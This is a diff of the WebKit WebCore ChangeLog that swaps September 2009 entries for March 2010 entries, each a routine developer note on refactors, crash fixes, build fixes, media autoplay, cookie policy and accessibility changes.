-        * html/ValidityState.h:
-        (WebCore::ValidityState::tooLong):
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::moveParagraphs):
+        * editing/TextIterator.cpp:
+        (WebCore::TextIterator::rangeFromLocationAndLength):
 
-2009-09-30  Adam Barth  <abarth@webkit.org>
+2010-03-08  Darin Adler  <darin@apple.com>
 
-        Reviewed by Maciej Stachowiak.
+        Reviewed by Dan Bernstein.
 
-        Factor RedirectScheduler out of FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=29948
+        Added a test for crash when you quit inside an unload handler.
+        rdar://problem/6958347
 
-        This change introduces a new sub-object of Frame, redirectScheduler.
-        The redirectScheduler is responsible for scheduling redirects.
+        * manual-tests/quit-inside-unload.html: Added.
 
-        This change leaves the code for the redirectScheduler in
-        FrameLoader.cpp.  A future change will move the class into its own
-        file.
+2010-03-08  Darin Adler  <darin@apple.com>
 
-        No behavior change (hopefully!).
+        Reviewed by Jon Honeycutt.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::RedirectScheduler::RedirectScheduler):
-        (WebCore::RedirectScheduler::~RedirectScheduler):
-        (WebCore::RedirectScheduler::redirectScheduledDuringLoad):
-        (WebCore::RedirectScheduler::clear):
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::setDefersLoading):
-        (WebCore::FrameLoader::stopLoading):
-        (WebCore::FrameLoader::didOpenURL):
-        (WebCore::FrameLoader::didExplicitOpen):
-        (WebCore::FrameLoader::cancelAndClear):
-        (WebCore::FrameLoader::clear):
-        (WebCore::FrameLoader::checkCompleted):
-        (WebCore::FrameLoader::isScheduledLocationChangePending):
-        (WebCore::FrameLoader::scheduleHTTPRedirection):
-        (WebCore::RedirectScheduler::scheduleRedirect):
-        (WebCore::RedirectScheduler::mustLockBackForwardList):
-        (WebCore::FrameLoader::scheduleLocationChange):
-        (WebCore::RedirectScheduler::scheduleLocationChange):
-        (WebCore::FrameLoader::scheduleFormSubmission):
-        (WebCore::RedirectScheduler::scheduleFormSubmission):
-        (WebCore::FrameLoader::scheduleRefresh):
-        (WebCore::RedirectScheduler::scheduleRefresh):
-        (WebCore::RedirectScheduler::locationChangePending):
-        (WebCore::FrameLoader::scheduleHistoryNavigation):
-        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
-        (WebCore::RedirectScheduler::timerFired):
-        (WebCore::FrameLoader::provisionalLoadStarted):
-        (WebCore::RedirectScheduler::schedule):
-        (WebCore::RedirectScheduler::startTimer):
-        (WebCore::RedirectScheduler::cancel):
-        (WebCore::FrameLoader::completed):
-        (WebCore::FrameLoader::open):
-        * loader/FrameLoader.h:
-        (WebCore::FrameLoader::committedFirstRealDocumentLoad):
-        * page/Frame.cpp:
-        (WebCore::Frame::Frame):
-        (WebCore::Frame::redirectScheduler):
-        * page/Frame.h:
+        Don't auto-play <audio> and <video> elements loaded in background tabs
+        https://bugs.webkit.org/show_bug.cgi?id=35886
+        rdar://problem/7117745
 
-2009-09-30  Maciej Stachowiak  <mjs@apple.com>
+        * manual-tests/video-in-non-frontmost-tab.html: Added.
+        * manual-tests/resources/video-tab.html: Added.
 
-        Build fix, not reviewed.
+        * html/HTMLMediaElement.h: Added MediaCanStartListener as a base class, and
+        added the mediaCanStart function as well as a boolean,
+        m_isWaitingUntilMediaCanStart.
 
-        More Windows build fixes for https://bugs.webkit.org/show_bug.cgi?id=29943
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::HTMLMediaElement): Initialize
+        m_isWaitingUntilMediaCanStart.
+        (WebCore::HTMLMediaElement::~HTMLMediaElement): Call
+        removeMediaCanStartListener if m_isWaitingUntilMediaCanStart is true. 
+        (WebCore::HTMLMediaElement::loadInternal): Set m_isWaitingUntilMediaCanStart
+        and call addMediaCanStartListener if canStartMedia is false.
+        (WebCore::HTMLMediaElement::mediaCanStart): Clear m_isWaitingUntilMediaCanStart
+        and call loadInternal.
 
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::willSendRequest):
+2010-03-08  Csaba Osztrogonác  <ossy@webkit.org>
 
-2009-09-30  Maciej Stachowiak  <mjs@apple.com>
+        [GTK] Unreviewed buildfix after r55688.
 
-        Build fix, not reviewed.
+        * platform/graphics/gstreamer/WebKitWebSourceGStreamer.cpp:
+        (webKitWebSrcStart):
 
-        Fix windows build for fix for https://bugs.webkit.org/show_bug.cgi?id=29943
+2010-03-08  Csaba Osztrogonác  <ossy@webkit.org>
 
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::willSendRequest):
+        [GTK] Unreviewed buildfix after r55688.
 
-2009-09-30  Dimitri Glazkov  <dglazkov@chromium.org>
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
 
-        Reviewed by Darin Fisher.
+2010-03-08  Csaba Osztrogonác  <ossy@webkit.org>
 
-        [V8] HTMLAudioElement, HTMLImageElement, and HTMLOptionElement are constructable, but they shouldn't be.
-        Only Audio, Image, and Option should be constructable.
-        https://bugs.webkit.org/show_bug.cgi?id=29940
+        [Qt] Unreviewed buildfix after r55688.
 
-        Test: fast/dom/dom-constructor.html
+        * platform/network/qt/ResourceHandleQt.cpp:
+        (WebCore::ResourceHandle::loadResourceSynchronously):
 
-        * WebCore.gypi: Added new files to project.
-        * bindings/scripts/CodeGeneratorV8.pm: Modified to generate custom constructors.
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate): Removed handling of HTMLImageElement, HTMLOptionElement
-          and HTMLAudioElement construction.
-        * bindings/v8/V8HTMLAudioElementConstructor.h: Added.
-        * bindings/v8/V8HTMLImageElementConstructor.h: Added.
-        * bindings/v8/V8HTMLOptionElementConstructor.h: Added.
-        * bindings/v8/V8Index.cpp: Added new headers.
-        * bindings/v8/V8Index.h: Added Audio, Image and Option decls.
-        * bindings/v8/custom/V8CustomBinding.h: Ditto.
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_GETTER): Added custom constructors.
-        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
-        (WebCore::V8HTMLImageElementConstructor::GetTemplate): Added custom template creator.
-        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
-        (WebCore::V8HTMLOptionElementConstructor::GetTemplate): Ditto.
-        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
-        (WebCore::V8HTMLImageElementConstructor::GetTemplate): Ditto.
+2010-03-08  Alexey Proskuryakov  <ap@apple.com>
 
-2009-09-30  Maciej Stachowiak  <mjs@apple.com>
+        Reviewed by Darin Adler.
 
-        Reviewed by Brady Eidson.
+        https://bugs.webkit.org/show_bug.cgi?id=35879
+        Eliminate m_mightDownloadFromHandle
 
-        307 redirects should pass along http body and Content-Type header
-        https://bugs.webkit.org/show_bug.cgi?id=29943
+        It was only used on Mac, and unnecessarily complicated the code.
 
-        Follow-up fix for:
-        <rdar://problem/3802660> SAP: 307 (Temporary Redirect) responses should use POST, not GET
-        
-        Test: http/tests/loading/resources/redirect-methods-result.php
+        No change in behavior, thus no test.
 
-        * platform/network/cf/ResourceHandleCFNet.cpp:
-        (WebCore::willSendRequest): Pass along http body and Content-Type header.
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::loadNow):
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::load):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::createResourceHandle):
+        * platform/network/ResourceHandle.cpp:
+        (WebCore::ResourceHandle::ResourceHandle):
+        (WebCore::ResourceHandle::create):
+        * platform/network/ResourceHandle.h:
+        * platform/network/ResourceHandleInternal.h:
+        (WebCore::ResourceHandleInternal::ResourceHandleInternal):
         * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]): ditto
-
-2009-09-30  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Mark Rowe.
-
-        Fixed https://bugs.webkit.org/show_bug.cgi?id=29941
-        REGRESSION (r48882-r48888): Many memory leaks on SnowLeopard leaks bot
-
-        Forgot to implement a destructor for JSDOMWindowBaseData, so it was
-        leaking its RefPtr data member.
-
-        * bindings/js/JSDOMWindowBase.cpp:
-        (WebCore::JSDOMWindowBase::destroyJSDOMWindowBaseData):
-        * bindings/js/JSDOMWindowBase.h:
-        (WebCore::JSDOMWindowBase::JSDOMWindowBaseData::JSDOMWindowBaseData::JSDOMWindowBaseData):
-
-2009-09-30  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Tim Hatcher.
-
-        Make sure the removal of user stylesheets results in all of the WebViews being updated to
-        reflect the changes.
-
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::removeUserContentWithURLForWorld):
-        (WebCore::PageGroup::removeUserContentForWorld):
-
-2009-09-30  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        REGRESSION(r47440): drop down menus at americanexpress.com disappear on mouse out
-        https://bugs.webkit.org/show_bug.cgi?id=29209
-
-        Test: fast/inline/relative-positioned-overflow.html
-
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::computeVerticalOverflow): Add self-painting
-        inlines to overflow to ensure that they are included in hit-testing.
-
-2009-09-30  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Mark Rowe.
-
-        transforms/3d tests are not run in Release builds
-        https://bugs.webkit.org/show_bug.cgi?id=29827
-
-        Make sure we export the WebCoreHas3DRendering symbol in Release builds,
-        because this symbols is used by run-webkit-tests (via 'nm') to detect whether
-        WebCore was built with ENABLE_3D_RENDERING turned on.
-
-        * DerivedSources.make:
-        * WebCore.3DRendering.exp: Added.
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-09-30  Jeremy Orlow  <jorlow@chromium.org>
-
-        Build fix for QT.  Didn't know WebCore.pro existed.
-
-        * WebCore.pro:
+        (WebCore::ResourceHandle::start):
 
-2009-09-30  Dave Hyatt  <hyatt@apple.com>
+2010-03-02  Peter Kasting  <pkasting@google.com>
 
-        Reviewed by Adam Roben.
-
-        Add a method for removal of user scripts and stylesheets by URL from a specific world.
+        Reviewed by Adam Barth.
 
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::removeUserContentURLForWorld):
-        * page/PageGroup.h:
+        Clean up usage of m_failed in open-source image decoders, part 1.
+        https://bugs.webkit.org/show_bug.cgi?id=35411
+        
+        Makes setFailed() virtual so subclasses can override it (none do yet) to
+        do automatic cleanup on failure; makes it return a bool for easy
+        tailcalling; makes failed() the only way to access m_failed so
+        subclasses are assured setFailed() won't be bypassed.  Plus one or two
+        other tiny cleanup bits.
 
-2009-09-30  Chris Hawk  <hawk@chromium.org>
+        Overriding setFailed() is coming in a subsequent patch because it can be
+        hairy and needs close review.
 
-        Reviewed by Dimitri Glazkov.
+        No functional change, so no tests.
 
-        Fix for conditionals in the WebCore gyp file, which contained two separate
-        'conditions' values for the webcore target. The first entry was ignored,
-        resulting in some missine defines.
-        https://bugs.webkit.org/show_bug.cgi?id=29907
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::frameBufferAtIndex):
+        (WebCore::ImageDecoderQt::internalDecodeSize):
+        (WebCore::ImageDecoderQt::internalReadImage):
+        (WebCore::ImageDecoderQt::internalHandleCurrentImage):
+        (WebCore::ImageDecoderQt::forceLoadEverything):
+        (WebCore::ImageDecoderQt::clearPointers):
+        * platform/graphics/qt/ImageDecoderQt.h:
+        * platform/image-decoders/ImageDecoder.h:
+        (WebCore::ImageDecoder::ImageDecoder):
+        (WebCore::ImageDecoder::setData):
+        (WebCore::ImageDecoder::setSize):
+        (WebCore::ImageDecoder::setFailed):
+        (WebCore::ImageDecoder::failed):
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::isSizeAvailable):
+        (WebCore::BMPImageDecoder::frameBufferAtIndex):
+        (WebCore::BMPImageDecoder::processFileHeader):
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::setData):
+        (WebCore::GIFImageDecoder::isSizeAvailable):
+        (WebCore::GIFImageDecoder::frameBufferAtIndex):
+        (WebCore::GIFImageDecoder::decode):
+        (WebCore::GIFImageDecoder::initFrameBuffer):
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::decodeAtIndex):
+        (WebCore::ICOImageDecoder::processDirectory):
+        (WebCore::ICOImageDecoder::processDirectoryEntries):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::JPEGImageReader::decode):
+        (WebCore::JPEGImageDecoder::setData):
+        (WebCore::JPEGImageDecoder::isSizeAvailable):
+        (WebCore::JPEGImageDecoder::frameBufferAtIndex):
+        (WebCore::JPEGImageDecoder::outputScanlines):
+        (WebCore::JPEGImageDecoder::decode):
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::decodingFailed):
+        (WebCore::PNGImageReader::decode):
+        (WebCore::PNGImageDecoder::setData):
+        (WebCore::PNGImageDecoder::isSizeAvailable):
+        (WebCore::PNGImageDecoder::frameBufferAtIndex):
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::rowAvailable):
+        (WebCore::PNGImageDecoder::decode):
+        * platform/image-decoders/png/PNGImageDecoder.h:
 
-        * WebCore.gyp/WebCore.gyp:
+2010-03-08  Chris Marrin  <cmarrin@apple.com>
 
-2009-09-21  Jeremy Orlow  <jorlow@chromium.org>
+        Reviewed by Darin Adler.
 
-        Reviewed by Adam Barth.
+        Disallow WebGL when HW comp is not turned on at runtime
+        https://bugs.webkit.org/show_bug.cgi?id=35759
 
-        DOM Storage needs to be more careful about where "ThreadSafe" objects are destroyed.
-        https://bugs.webkit.org/show_bug.cgi?id=29265
-
-        DOM Storage needs to be more careful about where "ThreadSafe" objects are
-        destroyed.  With the current code, there actually isn't a race condition, but
-        it sure would be easy for someone to introduce one.  A bunch of
-        ThreadSafeShared objects have RefPtrs to objects that are NOT ThreadSafeShared
-        objects.  If it were possible any of these objects' destructors to be fired off
-        the main thread, then the you'd have a race condition.  The code should be more
-        clear and self-documenting about how things related to each other.
-
-        Since the lifetime of a LocalStorageTask is bounded by the LocalStorageThread
-        which is bounded by the StorageSyncManager, StorageAreaImpl, and
-        StorageAreaSync, there's no reason for LocalStorageTask to store anything other
-        than pointers.  By breaking this dependency, we can eliminate the risk.
-
-        Note that we _could_ have LocalStorageThread's task queue just store
-        LocalStorageTask*'s rather than RefPtr<LocalStorageTask>s but then we'd need to
-        manually take care of deleting.  It'd probably also be possible to change
-        LocalStorageThread around so that it needn't hold onto a reference of itself
-        and have a more deterministic shutdown, but my initial attempts to do so
-        failed, and I decided it wasn't worth changing.  The queue is killed before
-        hand, so the thread is 100% impotent before the main thread continues anyway.
-
-        The constructors and destructors of StorageSyncManager, StorageAreaImpl, and
-        StorageAreaSync now have ASSERTs to verify they're running on the main thread. 
-        I'm fairly positive that it'd be impossible to hit these asserts and the fact
-        that these classes are no longer ThreadSafeShared should make it clear how
-        they're meant to be used, but I think it's worth it to be extra sure.  Of
-        course, ideally, we'd have such an assert every time a ref is incremented or
-        decremented.
-
-        Behavior should be unchanged and this is just an internal code cleanup, so no
-        new tests.
-
-        * storage/LocalStorageTask.cpp:
-        (WebCore::LocalStorageTask::LocalStorageTask):
-        (WebCore::LocalStorageTask::performTask):
-        * storage/LocalStorageTask.h:
-        (WebCore::LocalStorageTask::createImport):
-        (WebCore::LocalStorageTask::createSync):
-        (WebCore::LocalStorageTask::createTerminate):
-        * storage/LocalStorageThread.cpp:
-        (WebCore::LocalStorageThread::scheduleImport):
-        (WebCore::LocalStorageThread::scheduleSync):
-        * storage/LocalStorageThread.h:
-        * storage/StorageArea.h:
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::StorageAreaImpl::~StorageAreaImpl):
-        (WebCore::StorageAreaImpl::StorageAreaImpl):
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::StorageAreaSync):
-        (WebCore::StorageAreaSync::~StorageAreaSync):
-        * storage/StorageSyncManager.cpp:
-        (WebCore::StorageSyncManager::StorageSyncManager):
-        (WebCore::StorageSyncManager::~StorageSyncManager):
-        (WebCore::StorageSyncManager::scheduleImport):
-        (WebCore::StorageSyncManager::scheduleSync):
-        * storage/StorageSyncManager.h:
+        When HW comp is turned off with the runtime flag, WebGL would still
+        create a context, but silently fail to render. This prevents that.
+        Now if HW comp is turned off getContext('webgl') will return null.
 
-2009-09-28  Jeremy Orlow  <jorlow@chromium.org>
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
 
-        Reviewed by Darin Fisher.
+2010-03-08  Darin Adler  <darin@apple.com>
 
-        Chromium needs to be able to override the way storage events are delivered
-        https://bugs.webkit.org/show_bug.cgi?id=29655
+        Reviewed by Jon Honeycutt.
 
-        Chromium needs to be able to override the way storage events are delivered.
-        This replaced https://bugs.webkit.org/show_bug.cgi?id=29257 because it'll be
-        faster (no vtables and extra allocation) and somewhat cleaner (no dependency
-        injection).  This is necessary because Chromium needs to transport events across
-        a process barrier and then dispatch them without use of a Frame*.
+        https://bugs.webkit.org/show_bug.cgi?id=35876
 
-        Behavior should not change with this, so no updates to tests.
+        Fix minor style issues in HTMLMediaElement and classes derived from it.
+        Made many public members private and protected.
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::StorageAreaImpl::setItem):
-        (WebCore::StorageAreaImpl::removeItem):
-        (WebCore::StorageAreaImpl::clear):
-        * storage/StorageAreaImpl.h:
-        * storage/StorageEventDispatcher.cpp: Copied from WebCore/storage/StorageAreaImpl.cpp.
-        (WebCore::StorageEventDispatcher::dispatch):
-        * storage/StorageEventDispatcher.h: Added.  (Well, technically in the other half of this patch.)
-
-2009-09-30  Jian Li  <jianli@chromium.org>
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::screenRect): Got rid of a stray "const" and
+        retstructured the function to use early return and get rid of a local.
 
-        Reviewed by Darin Adler.
+        * html/HTMLMediaElement.h: Made lots of members private and some
+        protected. Also use private inheritance instead of public. Removed
+        some unneeded includes.
 
-        Need to check NULL frame in EventHandler::updateDragAndDrop.
-        https://bugs.webkit.org/show_bug.cgi?id=29929
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::parseMappedAttribute): Use player() instead
+        of m_player; HTMLMediaElement data members are now private, not protected.
+        (WebCore::HTMLVideoElement::supportsFullscreen): Ditto.
+        (WebCore::HTMLVideoElement::videoWidth): Ditto.
+        (WebCore::HTMLVideoElement::videoHeight): Ditto.
+        (WebCore::HTMLVideoElement::hasAvailableVideoFrame): Ditto.
+        (WebCore::HTMLVideoElement::webkitEnterFullScreen): Use isFullscreen()
+        instead of m_isFullscreen; same reason.
+        (WebCore::HTMLVideoElement::webkitExitFullScreen): Ditto.
+        (WebCore::HTMLVideoElement::webkitDisplayingFullscreen): Ditto.
+
+        * html/HTMLVideoElement.h: Removed an unneeded include. Made many
+        public functions private. Got rid of unused paint function, which was
+        replaced with paintCurrentFrameInContext a while back.
+
+2010-03-08  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
 
-        Test: http/tests/misc/drag-over-iframe-invalid-source-crash.html
+        Reviewed by Xan Lopez.
 
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::updateDragAndDrop):
+        https://bugs.webkit.org/show_bug.cgi?id=30895
+        [Gtk] The accessible hierarchy of tables is significantly incorrect for Atk
 
-2009-09-29  Simon Fraser  <simon.fraser@apple.com>
+        Gives platforms the ability to exclude parts of an AccessibilityTable
+        from the accessible hierarchy.
 
-        Reviewed by Dan Bernstein.
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (AccessibilityRenderObject::determineAccessibilityRole):
+        * accessibility/AccessibilityTable.cpp:
+        (AccessibilityTable::addChildren):
+        * accessibility/AccessibilityTableColumn.h:
+        (accessibilityIsIgnored):
+        * accessibility/AccessibilityTableHeaderContainer.h:
+        (accessibilityIsIgnored):
+        * accessibility/AccessibilityTableRow.cpp:
+        (accessibilityIsIgnored):
 
-        ASSERTION FAILED: !repaintContainer || repaintContainer == this
-        https://bugs.webkit.org/show_bug.cgi?id=29755
-        
-        Generalize the fix for this bug to account for cases where there may be multiple
-        containing blocks between the repaint container, and the container of the element
-        being repainted.
+2010-03-08  Jian Li  <jianli@chromium.org>
 
-        Test: compositing/repaint/opacity-between-absolute2.html
+        No review. Fix build break on Tiger intel release.
 
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::mapLocalToContainer):
-        Call offsetFromAncestorContainer() to get the correct offset.
-        
-        (WebCore::RenderBox::computeRectForRepaint): Ditto
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::computeRectForRepaint): Ditto.
-        
-        * rendering/RenderObject.h:
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::offsetFromAncestorContainer):
-        New method that computes an offset from some object in the ancestor container() chain.
+        * html/Blob.cpp:
+        * html/Blob.h:
 
-2009-09-30  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+2010-03-02  Adam Treat  <atreat@rim.com>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Dave Hyatt.
 
-        [Qt] Fix TextCodecQt::decode method after r48752 to return a non-null string if the length of the input is 0.
-        This fixes https://bugs.webkit.org/show_bug.cgi?id=29736.
+        Refactor the HostWindow methods for repaint, scroll, invalidate and blit
+        of backingstore and window by eliminating the three bools that currently
+        exist as params of the repaint method.
+        https://bugs.webkit.org/show_bug.cgi?id=34214
 
-        * platform/text/qt/TextCodecQt.cpp:
-        (WebCore::TextCodecQt::decode):
+        I've added extra methods to provide the hosts with more semantic
+        information of what is being requested thus eliminating the need for
+        these bools.
 
-2009-09-29  Dave Hyatt  <hyatt@apple.com>
+        No tests as this change should not introduce any behavior changes in any
+        of the ports.
 
-        Reviewed by Jon Honeycutt.
+        https://bugs.webkit.org/show_bug.cgi?id=34214
 
-        Fix a couple of bugs with patterns.  Move the setting of the document URL to before the style
-        selector gets constructed so that pattern match testing gets the correct URL.
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::invalidateContents):
+        (WebCore::EmptyChromeClient::invalidateWindow):
+        (WebCore::EmptyChromeClient::invalidateContentsAndWindow):
+        (WebCore::EmptyChromeClient::invalidateContentsForSlowScroll):
+        * page/Chrome.cpp:
+        (WebCore::Chrome::invalidateContents):
+        (WebCore::Chrome::invalidateWindow):
+        (WebCore::Chrome::invalidateContentsAndWindow):
+        (WebCore::Chrome::invalidateContentsForSlowScroll):
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::invalidateRect):
+        * platform/HostWindow.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        (WebCore::ScrollView::wheelEvent):
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin):
-        * page/UserContentURLPattern.cpp:
-        (WebCore::UserContentURLPattern::parse):
+2010-03-08  Adam Barth  <abarth@webkit.org>
 
-2009-09-29  Alexey Proskuryakov  <ap@apple.com>
+        Reviewed by Nate Chapin.
 
-        Rubber-stamped by Brady Eidson.
+        [V8] Block popups from inline script
+        https://bugs.webkit.org/show_bug.cgi?id=35474
 
-        Assertion failure in http/tests/xmlhttprequest/failed-auth.html.
+        Apparently, we're supposed to look at the sourceURL to figure out
+        whether we're running a script tag or a hyperlink.  This logic is
+        copied from the JSC version.
 
-        I couldn't find out why this only started to happen now, but it was incorrect to check
-        persistence of a credential returned by CredentialStorage::get() without checking that it
-        was non-null. When there is no credential for the protection space in storage, get()
-        returns a new object, and Credentil constructor doesn't initialize m_persistence.
+        Test: http/tests/security/popup-blocked-from-window-open.html
 
-        * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreSynchronousLoader connection:didReceiveAuthenticationChallenge:]): Moved the
-        assertion after credential null check.
-        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Added the same persistence
-        assertion, matching sync code (and CF one, as well).
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        (WebCore::ScriptController::evaluate):
 
-2009-09-29  Yong Li  <yong.li@torchmobile.com>
+2010-03-08  Stuart Morgan  <stuartmorgan@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Add an ASSERT for UTF8Encoding().isValid()
-        https://bugs.webkit.org/show_bug.cgi?id=29908
-
-        * platform/text/TextEncoding.cpp:
-        (WebCore::UTF8Encoding):
+        Move the details of secure text mode into WebCore/platform.
+        Move the higher-level logic for secure text mode from Frame
+        to SelectionController.
 
-2009-09-29  Dave Hyatt  <hyatt@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=31265
 
-        Reviewed by Jon Honeycutt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29892
-        Add support for whitelist patterns to control conditional injection of user scripts and
-        user stylesheets.
-
-        No new tests. Not testable until WebKit portion is added in followup patch.
+        No new tests: no functional changes.
 
-        * GNUmakefile.am:
         * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
         * dom/Document.cpp:
-        (WebCore::Document::pageGroupUserSheets):
+        (WebCore::Document::setUseSecureKeyboardEntryWhenActive):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::focusedOrActiveStateChanged):
+        (WebCore::SelectionController::updateSecureKeyboardEntryIfActive):
+        (WebCore::SelectionController::setUseSecureKeyboardEntry):
+        * editing/SelectionController.h:
         * page/Frame.cpp:
-        (WebCore::Frame::injectUserScriptsForWorld):
-        * page/UserContentURLPattern.cpp: Added.
-        (WebCore::UserContentURLPattern::matchesPatterns):
-        (WebCore::UserContentURLPattern::parse):
-        (WebCore::UserContentURLPattern::matches):
-        (WebCore::UserContentURLPattern::matchesHost):
-        (WebCore::MatchTester::MatchTester):
-        (WebCore::MatchTester::testStringFinished):
-        (WebCore::MatchTester::patternStringFinished):
-        (WebCore::MatchTester::eatWildcard):
-        (WebCore::MatchTester::eatSameChars):
-        (WebCore::MatchTester::test):
-        (WebCore::UserContentURLPattern::matchesPath):
-        * page/UserContentURLPattern.h: Added.
-        (WebCore::UserContentURLPattern::UserContentURLPattern):
-        (WebCore::UserContentURLPattern::scheme):
-        (WebCore::UserContentURLPattern::host):
-        (WebCore::UserContentURLPattern::path):
-        (WebCore::UserContentURLPattern::matchSubdomains):
-
-2009-09-29  Enrica Casucci  <enrica@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        Reproducible crash pressing return inside quoted content
-        at WebCore::BreakBlockquoteCommand::doApply.
-        <rdar://problem/7085453>
-        In some case, like the one provided in the test case, m_downStreamEnd
-        refers to a node that gets deleted when executing the DeleteSelectionCommand.
-        We shouldn't use m_downStreamEnd to recalculate the new m_endPosition when
-        pruning is needed, because it may be point to a node that has been deleted, but
-        rather rely on removeNode in CompositeEditCommand to update m_endPosition correctly.
-
-        Test: editing/selection/blockquote-crash.html
+        (WebCore::Frame::setDocument):
+        * page/Frame.h:
+        * platform/SecureTextInput.cpp: Added.
+        (WebCore::enableSecureTextInput):
+        (WebCore::disableSecureTextInput):
+        * platform/SecureTextInput.h: Added.
+        (WebCore::enableSecureTextInput):
+        (WebCore::disableSecureTextInput):
 
-        * editing/BreakBlockquoteCommand.cpp:
-        (WebCore::BreakBlockquoteCommand::doApply): Added check for invalid position
-        to avoid dereferencing a null node pointer.
-        * editing/DeleteSelectionCommand.cpp:
-        (WebCore::DeleteSelectionCommand::mergeParagraphs): Don't reset m_endPosition
-        using the value in m_downStreamEnd when it is necessary to prune the start block.
-        
-2009-09-29  Alexey Proskuryakov  <ap@apple.com>
+2010-03-08  Brady Eidson  <beidson@apple.com>
 
-        Reviewed by Brady Eidson.
+        Reviewed by Anders Carlsson.
 
-        Basic authentication credentials are not sent automatically to top resources
-        https://bugs.webkit.org/show_bug.cgi?id=29901
+        Relax the 3rd party cookie policy in cases where it won't add a new tracking vector.
+        <rdar://problem/7163012> and https://bugs.webkit.org/show_bug.cgi?id=35824
 
-        No new tests - I don't want to pollute root directory of http tests to check for this rather
-        minor issue.
+        Test: http/tests/cookies/third-party-cookie-relaxing.html
 
-        * platform/network/CredentialStorage.cpp:
-        (WebCore::CredentialStorage::set): Changed to always preserve leading slash.
-        (WebCore::CredentialStorage::getDefaultAuthenticationCredential): Made breaking out of the
-        loop more explicit.
+        If the 3rd-party domain in question already has a cookie set, allow changes
+        by setting the first party url of the request to be the url of the request itself:        
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::makeFinalRequest):
 
-2009-09-29  Pavel Feldman  <pfeldman@chromium.org>
+        Ditto:
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::loadResourceSynchronously):
 
-        Reviewed by Oliver Hunt.
+        I've filed <rdar://problem/7728508> to track changing the policy in our networking layer.
 
-        Web Inspector REGRESSION(r47820-r47822): Profiles aren't
-        added to the inspector unless the inspector is already open
-        when the profile completes.
+2010-03-08  Jian Li  <jianli@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29897
+        Reviewed by Dmitry Titov.
 
